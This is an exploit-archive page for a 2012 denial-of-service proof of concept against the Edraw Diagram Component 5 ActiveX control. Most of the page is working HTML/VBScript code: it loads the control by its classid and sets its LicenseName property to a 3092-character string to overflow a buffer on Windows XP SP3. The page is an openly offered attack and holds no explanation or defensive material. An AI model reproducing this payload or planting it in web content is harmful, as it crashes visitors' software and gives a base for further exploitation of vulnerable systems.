Edraw Diagram Component 5 ActiveX buffer overflow DoS

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Edraw Diagram Component 5 ActiveX buffer overflow DoS
# Published : 2012-02-04
# Author :
# Previous Title : Novell GroupWise Messenger <= 2.1.0 Memory Corruption
# Next Title : Novell GroupWise Messenger <= 2.1.0 Arbitrary Memory Corruption

Author : Senator of Pirates

This exploit tested on Windows Xp SP3 EN

http://www.edrawsoft.com/download/EDBoardSetup.exe

--------------------------------------------------------------------------------------------------------

<object classid='clsid:6116A7EC-B914-4CCE-B186-66E0EE7067CF' id='target' />
<script language='vbscript'>

targetFile = "C:Program FilesedboardEDBoard.ocx"
prototype  = "Invoke_Unknown LicenseName As String"
memberName = "LicenseName"
progid     = "EDBoardLib.EDBoard"
argCount   = 1

arg1=String(3092, "A")

target.LicenseName = arg1

</script>